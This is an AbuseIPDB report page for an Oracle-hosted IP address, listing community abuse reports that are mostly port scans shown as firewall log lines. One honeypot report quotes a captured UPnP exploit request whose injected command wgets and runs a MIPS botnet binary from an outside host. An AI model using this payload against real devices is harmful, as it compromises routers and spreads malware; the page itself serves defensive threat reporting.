JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 158.178.142.238

158.178.142.238 was found in our database!

This IP was reported 21 times. Confidence of Abuse is 88%: ?

88%

ISP	Oracle Corporation
Usage Type	Data Center/Web Hosting/Transit
ASN	AS31898
Domain Name	oracle.com
Country	🇦🇺 Australia
City	Toongabbie West, New South Wales

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 158.178.142.238

Whois 158.178.142.238

IP Abuse Reports for 158.178.142.238:

This IP address has been reported a total of 21 times from 17 distinct sources. 158.178.142.238 was first reported on October 2nd 2025, and the most recent report was 5 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇦🇹 urnilxfgbez	2026-06-17 22:45:00 (5 days ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇳🇱 ByeByte API	2026-06-17 06:29:26 (6 days ago)	byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-17T06:29:26Z. Source por ... show more byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-17T06:29:26Z. Source port 21943. TCP flags: SYN. Packet: 40B, TTL 48, window 55825, IP id 33608. Single packet, dropped at firewall. p0f: 16 hops. show less	Port Scan
🇳🇱 ByeByte API	2026-06-17 06:29:26 (6 days ago)	Port scan from this IP. Firewall dropped every packet. Targeted TCP ports: 52869. Single burst at 20 ... show more Port scan from this IP. Firewall dropped every packet. Targeted TCP ports: 52869. Single burst at 2026-06-17 06:29 UTC. show less	Port Scan
🇺🇸 xmission.com	2026-06-17 06:02:47 (6 days ago)	Blocked by UFW (TCP on 80) Source port: 11927 TTL: 53 Packet length: 40 TOS: 0x08 This report (for ... show more Blocked by UFW (TCP on 80) Source port: 11927 TTL: 53 Packet length: 40 TOS: 0x08 This report (for 158.178.142.238) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Web App Attack
🇫🇮 6kilowatti	2026-06-17 04:22:07 (6 days ago)	2026-06-17T07:22:06.235832+03:00 mummo kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:d6:a5:bc:00: ... show more 2026-06-17T07:22:06.235832+03:00 mummo kernel: [UFW BLOCK] IN=enp0s25 OUT= MAC=6c:62:6d:d6:a5:bc:00:00:5e:00:01:58:08:00 SRC=158.178.142.238 DST=83.148.240.21 LEN=40 TOS=0x00 PREC=0x00 TTL=48 ID=9175 PROTO=TCP SPT=21093 DPT=23 WINDOW=55653 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇺🇸 xmission.com	2026-06-17 04:06:40 (6 days ago)	Blocked by UFW (TCP on 5555) Source port: 60365 TTL: 53 Packet length: 40 TOS: 0x08 This report (fo ... show more Blocked by UFW (TCP on 5555) Source port: 60365 TTL: 53 Packet length: 40 TOS: 0x08 This report (for 158.178.142.238) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 MPL	2026-06-17 02:26:42 (6 days ago)	tcp/5555	Port Scan
🇩🇪 centurion	2026-06-17 00:50:49 (6 days ago)	Blocked by UFW on ns02 [52869/tcp] Source port: 20837 TTL: 51 Packet length: 40 TOS: 0x00 This repo ... show more Blocked by UFW on ns02 [52869/tcp] Source port: 20837 TTL: 51 Packet length: 40 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 Admins@FBN	2026-06-17 00:28:34 (6 days ago)	FW-PortScan: Traffic Blocked srcport=59853 dstport=8080	Port Scan
🇫🇷 EDSL	2026-06-16 23:59:16 (6 days ago)	[SRV-VPN1] Blocked by SysWarden Firewall (Port Scan / Probing)	Port Scan
Anonymous	2026-06-16 23:25:01 (6 days ago)	Unauthorized connection attempt on Port 23	Port Scan Hacking Exploited Host
🇺🇸 MPL	2026-06-16 23:06:19 (6 days ago)	tcp/23 (2 or more attempts)	Port Scan
🇺🇸 RAP	2026-06-16 22:46:19 (6 days ago)	2026-06-16 22:46:19 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
Anonymous	2026-06-16 22:37:33 (6 days ago)	Jun 16 14:07:45 localhost kernel: [109978553.780438] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:9 ... show more Jun 16 14:07:45 localhost kernel: [109978553.780438] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=158.178.142.238 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=49 ID=59846 PROTO=TCP SPT=45123 DPT=52869 WINDOW=10826 RES=0x00 SYN URGP=0 Jun 16 14:07:45 localhost kernel: [109978553.780453] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=158.178.142.238 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=49 ID=59846 PROTO=TCP SPT=45123 DPT=52869 SEQ=758669438 ACK=0 WINDOW=10826 RES=0x00 SYN URGP=0 Jun 16 18:37:32 localhost kernel: [109994741.028680] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=158.178.142.238 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=49 ID=30907 PROTO=TCP SPT=45635 DPT=37215 WINDOW=14938 RES=0x00 SYN URGP=0 Jun 16 18:37:32 localhost kernel: [109994741.028696] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=158.178.142.238 DST=[mungedIP2] LE show less	Port Scan
🇬🇧 gbzret4d	2026-06-16 22:21:51 (6 days ago)	Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (co ... show more Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Accept: / Accept-Encoding: gzip, deflate POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf zuki; wget http://86.54.82.179/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP show less	Hacking Bad Web Bot

Showing 1 to 15 of 21 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇸🇪 194.195.91.15

🇺🇸 172.202.118.16

🇨🇳 116.11.120.204

🇺🇸 107.170.65.169

🇺🇸 104.20.24.32

🇫🇷 85.217.140.25

🇳🇱 45.148.10.247

🇮🇶 37.238.45.202

🇰🇷 20.214.174.141

🇸🇬 20.212.60.21

🇺🇸 184.105.139.86

🇨🇳 171.104.83.131

🇩🇪 148.153.140.142

🇮🇳 103.54.101.248

🇺🇸 65.49.1.230

🇨🇳 60.16.206.91

🇨🇳 60.16.197.227

🇬🇧 35.203.211.36

🇳🇱 34.7.247.228

🇸🇪 31.220.15.61